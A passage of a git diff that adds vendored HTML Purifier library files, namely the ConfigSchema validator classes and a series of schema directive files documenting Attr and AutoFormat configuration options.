+ $directive->deprecatedVersion = $hash->offsetGet('DEPRECATED-VERSION');
+ }
+
+ if (isset($hash['EXTERNAL'])) {
+ $directive->external = preg_split('/\s*,\s*/', trim($hash->offsetGet('EXTERNAL')));
+ }
+
+ $interchange->addDirective($directive);
+ }
+
+ /**
+ * Evaluates an array PHP code string without array() wrapper
+ * @param string $contents
+ */
+ protected function evalArray($contents)
+ {
+ return eval('return array(' . $contents . ');');
+ }
+
+ /**
+ * Converts an array list into a lookup array.
+ * @param array $array
+ * @return array
+ */
+ protected function lookup($array)
+ {
+ $ret = array();
+ foreach ($array as $val) {
+ $ret[$val] = true;
+ }
+ return $ret;
+ }
+
+ /**
+ * Convenience function that creates an HTMLPurifier_ConfigSchema_Interchange_Id
+ * object based on a string Id.
+ * @param string $id
+ * @return HTMLPurifier_ConfigSchema_Interchange_Id
+ */
+ protected function id($id)
+ {
+ return HTMLPurifier_ConfigSchema_Interchange_Id::make($id);
+ }
+
+ /**
+ * Triggers errors for any unused keys passed in the hash; such keys
+ * may indicate typos, missing values, etc.
+ * @param HTMLPurifier_StringHash $hash Hash to check.
+ */
+ protected function _findUnused($hash)
+ {
+ $accessed = $hash->getAccessed();
+ foreach ($hash as $k => $v) {
+ if (!isset($accessed[$k])) {
+ trigger_error("String hash key '$k' not used by builder", E_USER_NOTICE);
+ }
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Validator.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Validator.php
new file mode 100644
index 000000000..fb3127788
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Validator.php
@@ -0,0 +1,248 @@
+<?php
+
+/**
+ * Performs validations on HTMLPurifier_ConfigSchema_Interchange
+ *
+ * @note If you see '// handled by InterchangeBuilder', that means a
+ * design decision in that class would prevent this validation from
+ * ever being necessary. We have them anyway, however, for
+ * redundancy.
+ */
+class HTMLPurifier_ConfigSchema_Validator
+{
+
+ /**
+ * @type HTMLPurifier_ConfigSchema_Interchange
+ */
+ protected $interchange;
+
+ /**
+ * @type array
+ */
+ protected $aliases;
+
+ /**
+ * Context-stack to provide easy to read error messages.
+ * @type array
+ */
+ protected $context = array();
+
+ /**
+ * to test default's type.
+ * @type HTMLPurifier_VarParser
+ */
+ protected $parser;
+
+ public function __construct()
+ {
+ $this->parser = new HTMLPurifier_VarParser();
+ }
+
+ /**
+ * Validates a fully-formed interchange object.
+ * @param HTMLPurifier_ConfigSchema_Interchange $interchange
+ * @return bool
+ */
+ public function validate($interchange)
+ {
+ $this->interchange = $interchange;
+ $this->aliases = array();
+ // PHP is a bit lax with integer <=> string conversions in
+ // arrays, so we don't use the identical !== comparison
+ foreach ($interchange->directives as $i => $directive) {
+ $id = $directive->id->toString();
+ if ($i != $id) {
+ $this->error(false, "Integrity violation: key '$i' does not match internal id '$id'");
+ }
+ $this->validateDirective($directive);
+ }
+ return true;
+ }
+
+ /**
+ * Validates a HTMLPurifier_ConfigSchema_Interchange_Id object.
+ * @param HTMLPurifier_ConfigSchema_Interchange_Id $id
+ */
+ public function validateId($id)
+ {
+ $id_string = $id->toString();
+ $this->context[] = "id '$id_string'";
+ if (!$id instanceof HTMLPurifier_ConfigSchema_Interchange_Id) {
+ // handled by InterchangeBuilder
+ $this->error(false, 'is not an instance of HTMLPurifier_ConfigSchema_Interchange_Id');
+ }
+ // keys are now unconstrained (we might want to narrow down to A-Za-z0-9.)
+ // we probably should check that it has at least one namespace
+ $this->with($id, 'key')
+ ->assertNotEmpty()
+ ->assertIsString(); // implicit assertIsString handled by InterchangeBuilder
+ array_pop($this->context);
+ }
+
+ /**
+ * Validates a HTMLPurifier_ConfigSchema_Interchange_Directive object.
+ * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d
+ */
+ public function validateDirective($d)
+ {
+ $id = $d->id->toString();
+ $this->context[] = "directive '$id'";
+ $this->validateId($d->id);
+
+ $this->with($d, 'description')
+ ->assertNotEmpty();
+
+ // BEGIN - handled by InterchangeBuilder
+ $this->with($d, 'type')
+ ->assertNotEmpty();
+ $this->with($d, 'typeAllowsNull')
+ ->assertIsBool();
+ try {
+ // This also tests validity of $d->type
+ $this->parser->parse($d->default, $d->type, $d->typeAllowsNull);
+ } catch (HTMLPurifier_VarParserException $e) {
+ $this->error('default', 'had error: ' . $e->getMessage());
+ }
+ // END - handled by InterchangeBuilder
+
+ if (!is_null($d->allowed) || !empty($d->valueAliases)) {
+ // allowed and valueAliases require that we be dealing with
+ // strings, so check for that early.
+ $d_int = HTMLPurifier_VarParser::$types[$d->type];
+ if (!isset(HTMLPurifier_VarParser::$stringTypes[$d_int])) {
+ $this->error('type', 'must be a string type when used with allowed or value aliases');
+ }
+ }
+
+ $this->validateDirectiveAllowed($d);
+ $this->validateDirectiveValueAliases($d);
+ $this->validateDirectiveAliases($d);
+
+ array_pop($this->context);
+ }
+
+ /**
+ * Extra validation if $allowed member variable of
+ * HTMLPurifier_ConfigSchema_Interchange_Directive is defined.
+ * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d
+ */
+ public function validateDirectiveAllowed($d)
+ {
+ if (is_null($d->allowed)) {
+ return;
+ }
+ $this->with($d, 'allowed')
+ ->assertNotEmpty()
+ ->assertIsLookup(); // handled by InterchangeBuilder
+ if (is_string($d->default) && !isset($d->allowed[$d->default])) {
+ $this->error('default', 'must be an allowed value');
+ }
+ $this->context[] = 'allowed';
+ foreach ($d->allowed as $val => $x) {
+ if (!is_string($val)) {
+ $this->error("value $val", 'must be a string');
+ }
+ }
+ array_pop($this->context);
+ }
+
+ /**
+ * Extra validation if $valueAliases member variable of
+ * HTMLPurifier_ConfigSchema_Interchange_Directive is defined.
+ * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d
+ */
+ public function validateDirectiveValueAliases($d)
+ {
+ if (is_null($d->valueAliases)) {
+ return;
+ }
+ $this->with($d, 'valueAliases')
+ ->assertIsArray(); // handled by InterchangeBuilder
+ $this->context[] = 'valueAliases';
+ foreach ($d->valueAliases as $alias => $real) {
+ if (!is_string($alias)) {
+ $this->error("alias $alias", 'must be a string');
+ }
+ if (!is_string($real)) {
+ $this->error("alias target $real from alias '$alias'", 'must be a string');
+ }
+ if ($alias === $real) {
+ $this->error("alias '$alias'", "must not be an alias to itself");
+ }
+ }
+ if (!is_null($d->allowed)) {
+ foreach ($d->valueAliases as $alias => $real) {
+ if (isset($d->allowed[$alias])) {
+ $this->error("alias '$alias'", 'must not be an allowed value');
+ } elseif (!isset($d->allowed[$real])) {
+ $this->error("alias '$alias'", 'must be an alias to an allowed value');
+ }
+ }
+ }
+ array_pop($this->context);
+ }
+
+ /**
+ * Extra validation if $aliases member variable of
+ * HTMLPurifier_ConfigSchema_Interchange_Directive is defined.
+ * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d
+ */
+ public function validateDirectiveAliases($d)
+ {
+ $this->with($d, 'aliases')
+ ->assertIsArray(); // handled by InterchangeBuilder
+ $this->context[] = 'aliases';
+ foreach ($d->aliases as $alias) {
+ $this->validateId($alias);
+ $s = $alias->toString();
+ if (isset($this->interchange->directives[$s])) {
+ $this->error("alias '$s'", 'collides with another directive');
+ }
+ if (isset($this->aliases[$s])) {
+ $other_directive = $this->aliases[$s];
+ $this->error("alias '$s'", "collides with alias for directive '$other_directive'");
+ }
+ $this->aliases[$s] = $d->id->toString();
+ }
+ array_pop($this->context);
+ }
+
+ // protected helper functions
+
+ /**
+ * Convenience function for generating HTMLPurifier_ConfigSchema_ValidatorAtom
+ * for validating simple member variables of objects.
+ * @param $obj
+ * @param $member
+ * @return HTMLPurifier_ConfigSchema_ValidatorAtom
+ */
+ protected function with($obj, $member)
+ {
+ return new HTMLPurifier_ConfigSchema_ValidatorAtom($this->getFormattedContext(), $obj, $member);
+ }
+
+ /**
+ * Emits an error, providing helpful context.
+ * @throws HTMLPurifier_ConfigSchema_Exception
+ */
+ protected function error($target, $msg)
+ {
+ if ($target !== false) {
+ $prefix = ucfirst($target) . ' in ' . $this->getFormattedContext();
+ } else {
+ $prefix = ucfirst($this->getFormattedContext());
+ }
+ throw new HTMLPurifier_ConfigSchema_Exception(trim($prefix . ' ' . $msg));
+ }
+
+ /**
+ * Returns a formatted context string.
+ * @return string
+ */
+ protected function getFormattedContext()
+ {
+ return implode(' in ', array_reverse($this->context));
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/ValidatorAtom.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/ValidatorAtom.php
new file mode 100644
index 000000000..c9aa3644a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/ValidatorAtom.php
@@ -0,0 +1,130 @@
+<?php
+
+/**
+ * Fluent interface for validating the contents of member variables.
+ * This should be immutable. See HTMLPurifier_ConfigSchema_Validator for
+ * use-cases. We name this an 'atom' because it's ONLY for validations that
+ * are independent and usually scalar.
+ */
+class HTMLPurifier_ConfigSchema_ValidatorAtom
+{
+ /**
+ * @type string
+ */
+ protected $context;
+
+ /**
+ * @type object
+ */
+ protected $obj;
+
+ /**
+ * @type string
+ */
+ protected $member;
+
+ /**
+ * @type mixed
+ */
+ protected $contents;
+
+ public function __construct($context, $obj, $member)
+ {
+ $this->context = $context;
+ $this->obj = $obj;
+ $this->member = $member;
+ $this->contents =& $obj->$member;
+ }
+
+ /**
+ * @return HTMLPurifier_ConfigSchema_ValidatorAtom
+ */
+ public function assertIsString()
+ {
+ if (!is_string($this->contents)) {
+ $this->error('must be a string');
+ }
+ return $this;
+ }
+
+ /**
+ * @return HTMLPurifier_ConfigSchema_ValidatorAtom
+ */
+ public function assertIsBool()
+ {
+ if (!is_bool($this->contents)) {
+ $this->error('must be a boolean');
+ }
+ return $this;
+ }
+
+ /**
+ * @return HTMLPurifier_ConfigSchema_ValidatorAtom
+ */
+ public function assertIsArray()
+ {
+ if (!is_array($this->contents)) {
+ $this->error('must be an array');
+ }
+ return $this;
+ }
+
+ /**
+ * @return HTMLPurifier_ConfigSchema_ValidatorAtom
+ */
+ public function assertNotNull()
+ {
+ if ($this->contents === null) {
+ $this->error('must not be null');
+ }
+ return $this;
+ }
+
+ /**
+ * @return HTMLPurifier_ConfigSchema_ValidatorAtom
+ */
+ public function assertAlnum()
+ {
+ $this->assertIsString();
+ if (!ctype_alnum($this->contents)) {
+ $this->error('must be alphanumeric');
+ }
+ return $this;
+ }
+
+ /**
+ * @return HTMLPurifier_ConfigSchema_ValidatorAtom
+ */
+ public function assertNotEmpty()
+ {
+ if (empty($this->contents)) {
+ $this->error('must not be empty');
+ }
+ return $this;
+ }
+
+ /**
+ * @return HTMLPurifier_ConfigSchema_ValidatorAtom
+ */
+ public function assertIsLookup()
+ {
+ $this->assertIsArray();
+ foreach ($this->contents as $v) {
+ if ($v !== true) {
+ $this->error('must be a lookup array');
+ }
+ }
+ return $this;
+ }
+
+ /**
+ * @param string $msg
+ * @throws HTMLPurifier_ConfigSchema_Exception
+ */
+ protected function error($msg)
+ {
+ throw new HTMLPurifier_ConfigSchema_Exception(ucfirst($this->member) . ' in ' . $this->context . ' ' . $msg);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema.ser b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema.ser
new file mode 100644
index 000000000..22ea32185
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema.ser
Binary files differ
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt
new file mode 100644
index 000000000..0517fed0a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt
@@ -0,0 +1,8 @@
+Attr.AllowedClasses
+TYPE: lookup/null
+VERSION: 4.0.0
+DEFAULT: null
+--DESCRIPTION--
+List of allowed class values in the class attribute. By default, this is null,
+which means all classes are allowed.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt
new file mode 100644
index 000000000..249edd647
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt
@@ -0,0 +1,12 @@
+Attr.AllowedFrameTargets
+TYPE: lookup
+DEFAULT: array()
+--DESCRIPTION--
+Lookup table of all allowed link frame targets. Some commonly used link
+targets include _blank, _self, _parent and _top. Values should be
+lowercase, as validation will be done in a case-sensitive manner despite
+W3C's recommendation. XHTML 1.0 Strict does not permit the target attribute
+so this directive will have no effect in that doctype. XHTML 1.1 does not
+enable the Target module by default, you will have to manually enable it
+(see the module documentation for more details.)
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt
new file mode 100644
index 000000000..9a8fa6a2e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt
@@ -0,0 +1,9 @@
+Attr.AllowedRel
+TYPE: lookup
+VERSION: 1.6.0
+DEFAULT: array()
+--DESCRIPTION--
+List of allowed forward document relationships in the rel attribute. Common
+values may be nofollow or print. By default, this is empty, meaning that no
+document relationships are allowed.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt
new file mode 100644
index 000000000..b01788348
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt
@@ -0,0 +1,9 @@
+Attr.AllowedRev
+TYPE: lookup
+VERSION: 1.6.0
+DEFAULT: array()
+--DESCRIPTION--
+List of allowed reverse document relationships in the rev attribute. This
+attribute is a bit of an edge-case; if you don't know what it is for, stay
+away.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt
new file mode 100644
index 000000000..e774b823b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt
@@ -0,0 +1,19 @@
+Attr.ClassUseCDATA
+TYPE: bool/null
+DEFAULT: null
+VERSION: 4.0.0
+--DESCRIPTION--
+If null, class will auto-detect the doctype and, if matching XHTML 1.1 or
+XHTML 2.0, will use the restrictive NMTOKENS specification of class. Otherwise,
+it will use a relaxed CDATA definition. If true, the relaxed CDATA definition
+is forced; if false, the NMTOKENS definition is forced. To get behavior
+of HTML Purifier prior to 4.0.0, set this directive to false.
+
+Some rational behind the auto-detection:
+in previous versions of HTML Purifier, it was assumed that the form of
+class was NMTOKENS, as specified by the XHTML Modularization (representing
+XHTML 1.1 and XHTML 2.0). The DTDs for HTML 4.01 and XHTML 1.0, however
+specify class as CDATA. HTML 5 effectively defines it as CDATA, but
+with the additional constraint that each name should be unique (this is not
+explicitly outlined in previous specifications).
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt
new file mode 100644
index 000000000..533165e17
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt
@@ -0,0 +1,11 @@
+Attr.DefaultImageAlt
+TYPE: string/null
+DEFAULT: null
+VERSION: 3.2.0
+--DESCRIPTION--
+This is the content of the alt tag of an image if the user had not
+previously specified an alt attribute. This applies to all images without
+a valid alt attribute, as opposed to %Attr.DefaultInvalidImageAlt, which
+only applies to invalid images, and overrides in the case of an invalid image.
+Default behavior with null is to use the basename of the src tag for the alt.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt
new file mode 100644
index 000000000..9eb7e3846
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt
@@ -0,0 +1,9 @@
+Attr.DefaultInvalidImage
+TYPE: string
+DEFAULT: ''
+--DESCRIPTION--
+This is the default image an img tag will be pointed to if it does not have
+a valid src attribute. In future versions, we may allow the image tag to
+be removed completely, but due to design issues, this is not possible right
+now.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt
new file mode 100644
index 000000000..2f17bf477
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt
@@ -0,0 +1,8 @@
+Attr.DefaultInvalidImageAlt
+TYPE: string
+DEFAULT: 'Invalid image'
+--DESCRIPTION--
+This is the content of the alt tag of an invalid image if the user had not
+previously specified an alt attribute. It has no effect when the image is
+valid but there was no alt attribute present.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt
new file mode 100644
index 000000000..52654b53a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt
@@ -0,0 +1,10 @@
+Attr.DefaultTextDir
+TYPE: string
+DEFAULT: 'ltr'
+--DESCRIPTION--
+Defines the default text direction (ltr or rtl) of the document being
+parsed. This generally is the same as the value of the dir attribute in
+HTML, or ltr if that is not specified.
+--ALLOWED--
+'ltr', 'rtl'
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt
new file mode 100644
index 000000000..6440d2103
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt
@@ -0,0 +1,16 @@
+Attr.EnableID
+TYPE: bool
+DEFAULT: false
+VERSION: 1.2.0
+--DESCRIPTION--
+Allows the ID attribute in HTML. This is disabled by default due to the
+fact that without proper configuration user input can easily break the
+validation of a webpage by specifying an ID that is already on the
+surrounding HTML. If you don't mind throwing caution to the wind, enable
+this directive, but I strongly recommend you also consider blacklisting IDs
+you use (%Attr.IDBlacklist) or prefixing all user supplied IDs
+(%Attr.IDPrefix). When set to true HTML Purifier reverts to the behavior of
+pre-1.2.0 versions.
+--ALIASES--
+HTML.EnableAttrID
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ForbiddenClasses.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ForbiddenClasses.txt
new file mode 100644
index 000000000..f31d226f5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ForbiddenClasses.txt
@@ -0,0 +1,8 @@
+Attr.ForbiddenClasses
+TYPE: lookup
+VERSION: 4.0.0
+DEFAULT: array()
+--DESCRIPTION--
+List of forbidden class values in the class attribute. By default, this is
+empty, which means that no classes are forbidden. See also %Attr.AllowedClasses.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt
new file mode 100644
index 000000000..5f2b5e3d2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt
@@ -0,0 +1,5 @@
+Attr.IDBlacklist
+TYPE: list
+DEFAULT: array()
+DESCRIPTION: Array of IDs not allowed in the document.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt
new file mode 100644
index 000000000..6f5824586
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt
@@ -0,0 +1,9 @@
+Attr.IDBlacklistRegexp
+TYPE: string/null
+VERSION: 1.6.0
+DEFAULT: NULL
+--DESCRIPTION--
+PCRE regular expression to be matched against all IDs. If the expression is
+matches, the ID is rejected. Use this with care: may cause significant
+degradation. ID matching is done after all other validation.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt
new file mode 100644
index 000000000..cc49d43fd
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt
@@ -0,0 +1,12 @@
+Attr.IDPrefix
+TYPE: string
+VERSION: 1.2.0
+DEFAULT: ''
+--DESCRIPTION--
+String to prefix to IDs. If you have no idea what IDs your pages may use,
+you may opt to simply add a prefix to all user-submitted ID attributes so
+that they are still usable, but will not conflict with core page IDs.
+Example: setting the directive to 'user_' will result in a user submitted
+'foo' to become 'user_foo' Be sure to set %HTML.EnableAttrID to true
+before using this.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt
new file mode 100644
index 000000000..2c5924a7a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt
@@ -0,0 +1,14 @@
+Attr.IDPrefixLocal
+TYPE: string
+VERSION: 1.2.0
+DEFAULT: ''
+--DESCRIPTION--
+Temporary prefix for IDs used in conjunction with %Attr.IDPrefix. If you
+need to allow multiple sets of user content on web page, you may need to
+have a seperate prefix that changes with each iteration. This way,
+seperately submitted user content displayed on the same page doesn't
+clobber each other. Ideal values are unique identifiers for the content it
+represents (i.e. the id of the row in the database). Be sure to add a
+seperator (like an underscore) at the end. Warning: this directive will
+not work unless %Attr.IDPrefix is set to a non-empty value!
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt
new file mode 100644
index 000000000..d5caa1bb9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt
@@ -0,0 +1,31 @@
+AutoFormat.AutoParagraph
+TYPE: bool
+VERSION: 2.0.1
+DEFAULT: false
+--DESCRIPTION--
+
+<p>
+ This directive turns on auto-paragraphing, where double newlines are
+ converted in to paragraphs whenever possible. Auto-paragraphing:
+</p>
+<ul>
+ <li>Always applies to inline elements or text in the root node,</li>
+ <li>Applies to inline elements or text with double newlines in nodes
+ that allow paragraph tags,</li>
+ <li>Applies to double newlines in paragraph tags</li>
+</ul>
+<p>
+ <code>p</code> tags must be allowed for this directive to take effect.
+ We do not use <code>br</code> tags for paragraphing, as that is
+ semantically incorrect.
+</p>
+<p>
+ To prevent auto-paragraphing as a content-producer, refrain from using
+ double-newlines except to specify a new paragraph or in contexts where
+ it has special meaning (whitespace usually has no meaning except in
+ tags like <code>pre</code>, so this should not be difficult.) To prevent
+ the paragraphing of inline text adjacent to block elements, wrap them
+ in <code>div</code> tags (the behavior is slightly different outside of
+ the root node.)
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt
new file mode 100644
index 000000000..2a476481a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt
@@ -0,0 +1,12 @@
+AutoFormat.Custom
+TYPE: list
+VERSION: 2.0.1
+DEFAULT: array()
+--DESCRIPTION--
+
+<p>
+ This directive can be used to add custom auto-format injectors.
+ Specify an array of injector names (class name minus the prefix)
+ or concrete implementations. Injector class must exist.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt
new file mode 100644
index 000000000..663064a34
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt
@@ -0,0 +1,11 @@
+AutoFormat.DisplayLinkURI
+TYPE: bool
+VERSION: 3.2.0
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ This directive turns on the in-text display of URIs in &lt;a&gt; tags, and disables
+ those links. For example, <a href="http://example.com">example</a> becomes
+ example (<a>http://example.com</a>).
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt
new file mode 100644
index 000000000..3a48ba960
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt
@@ -0,0 +1,12 @@
+AutoFormat.Linkify
+TYPE: bool
+VERSION: 2.0.1
+DEFAULT: false
+--DESCRIPTION--
+
+<p>
+ This directive turns on linkification, auto-linking http, ftp and
+ https URLs. <code>a</code> tags with the <code>href</code> attribute
+ must be allowed.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt
new file mode 100644
index 000000000..db58b1346
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt
@@ -0,0 +1,12 @@
+AutoFormat.PurifierLinkify.DocURL
+TYPE: string
+VERSION: 2.0.1
+DEFAULT: '#%s'
+ALIASES: AutoFormatParam.PurifierLinkifyDocURL
+--DESCRIPTION--
+<p>
+ Location of configuration documentation to link to, let %s substitute
+ into the configuration's namespace and directive names sans the percent
+ sign.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt
new file mode 100644
index 000000000..7996488be
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt
@@ -0,0 +1,12 @@
+AutoFormat.PurifierLinkify
+TYPE: bool
+VERSION: 2.0.1
+DEFAULT: false
+--DESCRIPTION--
+
+<p>
+ Internal auto-formatter that converts configuration directives in
+ syntax <a>%Namespace.Directive</a> to links. <code>a</code> tags
+ with the <code>href</code> attribute must be allowed.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt
new file mode 100644
index 000000000..35c393b4e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt
@@ -0,0 +1,11 @@
+AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions
